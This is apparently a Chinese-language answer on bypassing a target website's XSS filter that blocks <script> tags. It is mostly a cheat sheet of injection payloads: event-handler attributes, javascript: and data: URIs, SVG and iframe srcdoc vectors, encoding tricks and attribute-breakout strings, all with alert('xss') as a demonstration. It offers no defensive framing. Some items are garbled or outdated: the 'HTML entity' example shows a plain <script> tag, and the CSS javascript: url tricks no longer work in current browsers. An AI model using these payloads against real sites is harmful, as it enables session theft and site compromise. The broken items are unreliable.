绕过 XSS 过滤的方法取决于目标网站的过滤机制。针对该网站 过滤了 <script>
标签,但可能未过滤 事件属性 (onclick
等) 或其他 XSS 载荷,可以尝试以下几种绕过方式:
1. 事件属性绕过
虽然 <script>
被过滤,但 onclick
仍可执行:
<a href="#" onclick="alert('xss')">点击我</a>
如果 onclick
也被过滤,可以尝试:
<img src="x" onerror="alert('xss')">
或者:
<svg onload="alert('xss')"></svg>
2. 伪协议绕过
如果可以输入 href
,可以尝试:
<a href="javascript:alert('xss')">点击我</a>
或者:
<iframe src="javascript:alert('xss')"></iframe>
如果 javascript:
被过滤,可以用 data:
URI:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">点击我</a>
这会解码成 <script>alert('xss')</script>
。
3. CSS 方式
某些情况下,CSS 也能触发 XSS:
<div style="background:url(javascript:alert('xss'))">XSS</div>
或者:
body { background-image: url("javascript:alert('xss')"); }
4. SVG 绕过
SVG 在某些情况下可以执行 JavaScript:
<svg><script>alert('xss')</script></svg>
如果 <script>
被过滤,可以尝试:
<svg onload="alert('xss')"></svg>
5. 基于 DOM 操作的绕过
如果网站使用 JavaScript 解析输入,可以尝试:
<iframe srcdoc="<script>alert('xss')</script>"></iframe>
或者:
<input type="text" value="XSS" onfocus="alert('xss')">
6. HTML 实体编码绕过
有时网站过滤 <script>
但未过滤其 HTML 实体,可以尝试:
<script>alert('xss')</script>
某些情况下,浏览器会自动解析实体字符并执行代码。
7. Unicode 编码绕过
某些 WAF 可能不解析 Unicode 编码:
<script>alert`\x78\x73\x73`</script>
或者:
\u003Cscript\u003Ealert('xss')\u003C/script\u003E
8. DOM XSS 绕过
如果网站使用 JavaScript innerHTML
解析输入,可以尝试:
"><script>alert('xss')</script>
或者:
"><img src="x" onerror="alert('xss')">
总结
如果 <script>
标签被拦截,建议依次尝试:
- 事件属性 (
onclick
,onerror
,onload
) - 伪协议 (
javascript:
) - SVG (
<svg onload>
) - HTML 实体编码 (
<script>
) - Unicode 编码 (
\x78\x73\x73
) - DOM XSS (
"><img src=x onerror=alert(1)>
)
可以结合 字符编码、绕过 WAF、利用浏览器解析机制 等技巧,找到适合该网站的绕过方式。